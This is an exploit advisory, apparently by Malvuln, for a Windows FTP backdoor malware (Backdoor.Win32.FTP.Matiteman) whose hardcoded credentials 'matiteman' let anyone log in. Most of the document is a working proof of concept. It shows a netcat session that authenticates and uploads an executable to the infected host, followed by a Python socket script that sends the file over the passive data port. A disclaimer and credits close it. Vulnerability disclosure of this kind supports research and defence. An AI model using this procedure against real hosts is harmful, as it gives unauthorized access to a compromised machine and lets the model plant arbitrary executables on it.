Share
## https://sploitus.com/exploit?id=PACKETSTORM:165249
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/fc8eaa2a5752b509dbd02989d8d9f2e2.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.FTP.Matiteman  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP port 21, authentication is required for remote user access. However, the credentials "matiteman" are weak and hardcoded in plaintext within the executable.  
Type: PE32  
MD5: fc8eaa2a5752b509dbd02989d8d9f2e2  
Vuln ID: MVID-2021-0425  
Disclosure: 12/11/2021   
  
Exploit/PoC:  
nc64.exe 192.168.18.125 21  
welcome to mtm ftp server  
USER matiteman  
331 Password required for matiteman.  
PASS matiteman  
230 User matiteman logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
CDUP  
250 CWD command successful. "c:/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,18,125,194,37).  
STOR DOOM-SM.exe  
150 Opening data connection for DOOM-SM.exe.  
226 File received ok  
  
from socket import *  
  
MALWARE_HOST="192.168.18.125"  
PORT=49701  
DOOM="DOOM-SM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).